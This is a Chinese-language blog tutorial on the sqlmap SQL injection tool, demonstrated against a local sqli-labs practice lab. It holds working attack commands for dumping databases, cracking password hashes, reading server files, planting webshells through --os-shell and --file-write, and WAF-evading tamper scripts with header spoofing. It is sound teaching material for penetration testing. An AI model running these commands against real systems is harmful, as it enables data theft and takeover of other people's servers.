Jay jay
文章28
标签2
分类0
sqlmap使用教程

sqlmap使用教程

SQLmap简介

sqlmap是一个开源渗透测试工具,可以用来进行自动化检测,利用sql注入漏洞获取数据库服务器的权限。它具有强大的检测引擎,针对各种不同类型的数据库的渗透测试功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接方式操作系统命令。
它支持五种注入模式:

  1. 基于布尔的盲注,即可以根据返回页面判断条件真假的注入
  2. 基于报错注入,即页面会返回错误信息,或者把注入的语句结果直接返回在页面中
  3. 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行来判断。
  4. 联合查询注入,可以使用union的情况下的注入。
  5. 对查询注入,可以同时执行多条语句的执行时的注入。

sqlmap是一个跨屏台的工具,很好用,是sql注入的强大工具。

sqlmap的安装

首先它是基于python的首先需要在电脑中安装好python环境然后到sqlmap官网http://sqlmap.org/下载和python环境相匹配的版本的压缩包,然后解压到python安装的文件下通过命令行启动即可。
解压位置
启动

sqlmap使用参数详解

在这里我们使用自己虚拟机搭建的sqli-labs靶场作为演示来学习使用sqlmap。
靶场

选项
一些参数选项

-h,--help显示本地帮助信息并退出
-hh 显示高级帮助信息并退出
--version 显示程序版本信息并退出
-v 数字 :信息级别:0-6(1缺省),具体含义为
0只显示python错误以及严重的信息
1同时显示基本信息和警告信息(默认)
2同时显示debug信息
3同时显示注入的payload信息
4同时显示http请求
5同时显示http响应头
6同时显示http响应页面
如果想看到sqlmap发送的payload最好的等级为3

查看版本新信息
目标

-d direct 直接连接数据库的连接字符串 如:python sqlmap.py -d "mysql://root:root@192.168.23.128:3306/security" 需要有python-pymysql这个库

-u url ,--url=url 目标url
-p 指定注入参数
-l logfile 从不让拍或者webscarab代理日志文件中分析目标
-x sitemapurl 从远程网站地图sitemap.xml文件来解析
-m BULKFILE 将目标地址保存在文件中,一行为一个url地址进行批量检测
-r REQUESTFILE 从文件中加载http请求,sqlmap可以从一个文件中获取http请求,这样就可以跳过设置一些其他参数如cookie、post数据等等,请求是https的时需要配合--force-ssl参数来使用,或者可以在host头后加443
-g GOOGLEDORK 从谷歌中加载结果目标url(只获取前100个结果,需要魔法)
-c configfile 从配置ini文件中加载选项

使用-d尝试连接
连接数据库

使用-u参数尝试
sqlmap.py -u 选项对于不常使用的网站可以直接使用 -u参数指定url地址探测是否存在注入
扫描
也可以直接添加–batch省区询问直接选择默认项
扫描出id存在boolean盲注,并且给出结果mysql版本和服务器类型和php版本
出现boolean盲注

使用-r指定文件从文件中加载目标
sqlmap.py -r 文件路径 使用该命令时必须指明文件的绝对路径,验证过程与-u参数类似,判断可注入的参数,判断那种sql注入进行注入
可以使用-p参数来指定注入点,使用–skip参数来跳过注入点,也可以使用*来表注注入点,星号添加位置是你认为可能存在的注入点
数据包
保存为txt用sqlmap跑
星号指定注入点

获取信息
–current-db获取当前数据库名
获取当前数据库名
–dbs是获取数据库(暴库)
获取数据库
-D指定数据库名 –tables参数是获取数据库中的表(暴表)
指定库名暴表名
-T指定表名 –columns参数是获取数据库表中的字段名(暴字段)
指定表名暴字段
-C指定字段名用,分隔 –dump参数获取字段的值
获取指定字段值
–start指定开始行 –stop指定结束行指定第几行到第几行的数据
获取指定行数据
–dump-all获取数据库中所有数据
获取所有数据

其他命令
level是测试等级一共有五个级别,级别越高检测内容越多,级别大于等于2时会检测cookie是否含有注入,大于等于3时会检测user-angent和referer是否有注入。推荐使用3

--level 5:探测等级

探测等级随着等级的变高探测的东西会更更多,不加命令默认探测等级为1,最高为5,。并且随着探测等级越来越高,所需要花费的时间会更多

--level 共有五个等级,sqlmap使用的payload可以在xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload。

level>=2的时候就会测试HTTP Cookie。

level>=3的时候就会测试HTTP User-Agent/Referer头。

level=5 的时候会测试HTTP Host

为了保证全面性建议使用更高的探测等级进行他探测

–risk=RISK 执行测试的风险(0-3,默认为1)
risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
升高风险等级会增加数据被篡改的风险。 常用就是默认1


os是检测数据库版信息的一个命令,但sqlmap默认会自动检测,–os-shell当数据库为mysql、postgresql或sqlserver时可以通过sqlmap执行操作系统命令

当数据库是mysql时满足当前用户为root知道网站根目录
sqlmap -u "xxx" --os-shell
会让我们选择网站脚本
选脚本
接下来让我们判断网站可写目录的方法
可写目录的方法

【1】使用公共的默认目录(C:/xampp/htdocs/,C:/wamp/www,C:/Inetpub/wwwroot/)
【2】自定义网络根目录绝对路径
【3】指定自定义的路径文件
【4】暴力破解

执行os-shell时sqlmap会向网站根目录写入两个文件tmpblwkd.php和tmpueqch.php。真正的木马文件是前者,如果是非正常退出sqlmap的话,这两个文件不会被删除。只有当我们输入x或q退出时sqlmap才会将该文件自动删除
命令成功执行


用来表注注入点:sqlmap可以区分一个url中的参数来进行注入点测试,但在遇到一些做了伪静态的网页就无法自动识别了
类似于/admin/1,sqlmap无法进行注入测试,但实际上可能是/admin.php?id=1 只是把参数隐藏在了url中,对于这样只需要在参数后加上一个星号即可如/admin/1
星号之后众生平等


post数据可以使用–data参数将要提交的数据添加进来就能测试如

sqlmap.py -u "url" --data="id=1&admin=2"

cookie可以使用–cookie参数来添加参数如

sqlmap.py -u "url" --cookie 'customer=xxxxxxx'

-g参数会主动爬取google上搜索结果来进行注入,对带有get参数的url进行挨个测试,前提魔法


超时延迟-timeout 如超时30秒 -timeout 30


注入测试脚本参数-tamper:sqlmap自带一个脚本库,内置的脚本库对payload进行了混淆,可以绕过一些waf在sqlmap的安装目录tamper下,脚本可以自己编写

sqlmap.py -u "url" -tamper "脚本文件"

tamper文件夹下个脚本功能

space2comment.py用/**/代替空格

apostrophemask.py用utf8代替引号

equaltolike.pylike代替等号

space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)

greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。

space2hash.py空格替换为#号,随机字符串以及换行符

apostrophenullencode.py绕过过滤双引号,替换字符和双引号。

halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2morehash.py空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.py在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’

space2mssqlblank.py(mssql)空格替换为其它空符号

base64encode.py 用base64编码替换

space2mssqlhash.py 替换空格

modsecurityversioned.py过滤空格,包含完整的查询版本注释

space2mysqlblank.py 空格替换其它空白符号(mysql)

between.py用between替换大于号(>)

space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py围绕SQL关键字添加多个空格

space2plus.py用+替换空格

bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like

nonrecursivereplacement.py双重查询语句,取代SQL关键字

space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

chardoubleencode.py双url编码(不处理以编码的)

unionalltounion.py替换UNION ALLSELECT UNION SELECT

charencode.py url编码

randomcase.py随机大小写

unmagicquotes.py宽字符绕过 GPCaddslashes

randomcomments.py用/**/分割sql关键字

charunicodeencode.py字符串 unicode 编码

securesphere.py追加特制的字符串

versionedmorekeywords.py注释绕过

space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’

halfversionedmorekeywords.py关键字前加注释


–current-user当前数据库使用账户
查看当前账户


–mobile模拟手机进行测试 –smart智能判断 –passwords -v1对加密的密码尝试进行哈希对撞 –roles可以查看数据管理员的角色
–is-dba查看是否是管理员权限


–file-read当数据库为mysql、postgresql或sqlserver并且当前用户有权限时可以读取指定文件,可以时文本文件或者二进制文件
如我们读取目标服务器c盘test.txt
sqlmap -u “url” –file-read “文件路径”


–file-write –file-dest上传文件到数据库服务器中
当数据库为mysql、postgresql或sqlserver通过powershell,并且当前用户有权限向任意目录写文件时,可以上传文件到数据库服务器,文件可以是文本,也可以是二进制文件,所以利用文件上传一句话木马或者shell
前提我们必须知道服务器的绝对路径:

python2 sqlmap.py -u http://xxx/sqli-labs/Less-2/?id=1 
--file-write C:\Users\mi\Desktop\1.php
--file-dest "C:\phpStudy\PHPTutorial\WWW\2.php"
#将本地的C:\Users\mi\Desktop\1.php文件上传到目标服务器C:\phpStudy\PHPTutorial\WWW\2.php

–proxy挂代理:

  1. 直接代理可直接在-u之后直接输入–proxy “代理地址:端口”此时就使用代理访问了
  2. 简介代理:利用burp将sqlmap代理写成监听地址那么sqlmap数据就会通过burp发出这样做可以监听sqlmap发出的请求包能防ip被封。

–dbms 数据库名 指定数据库名称
-level指定等级一般为3
-risk指定风险



必要时需要自己手动写python脚本修改payload语句。
在sqlmap中–tamper参数是用来引入用户自定义的脚本来修改注入时的payload,可以使用tamper来绕过waf,替换被过滤的关键字一下是一个基本的tamper结构

#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW # 当前脚本调用优先等级

def dependencies(): # 声明当前脚本适用/不适用的范围,可以为空。
pass

def tamper(payload, **kwargs): # 用于篡改Payload、以及请求头的主要函数
return payload

需要把他保存为my.py放入sqlmp/tamper路径下,然后使用时加上参数–tamper=my即可

import我们可以使用这个关键字导入sqlmap的内部库,sqlmap为我们提供了很多封装好的函数和数据类型如priority源于sqlmap/lib/core/enums.py里边定义了优先级有一下几个参数:

LOWEST = -100
LOWER = -50
LOW = -10
NORMAL = 0
HIGH = 10
HIGHER = 50
HIGHEST = 100

dependencies主要是提示用户这个tamper支持那些数据库
最终要的是tamper函数我们可以把我们想要实现的功能写在这个函数里,这个函数的参数payload就是原始sqlmap的注入payload,我们要实现绕过一般就是要修改这个参数,kwargs是针对http头的修改,如果是修改头部就要使用这个参数。
修改payload示例

def tamper(payload, **kwargs):
payload = payload.lower()
payload = payload.replace('select','seleselectct')
payload = payload.replace('union','ununionion')
return payload

修改http头实例

def tamper(payload, **kwargs):
"""
Append a fake HTTP header 'X-Forwarded-For'
"""

headers = kwargs.get("headers", {})
headers["X-Forwarded-For"] = randomIP()
headers["X-Client-Ip"] = randomIP()
headers["X-Real-Ip"] = randomIP()
return payload

在实际的渗透中我们要根据实际情况编写修改tamper中的payload。

本文作者:Jay jay
本文链接:https://yyj-xx.github.io/2023/03/26/sqlmap%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可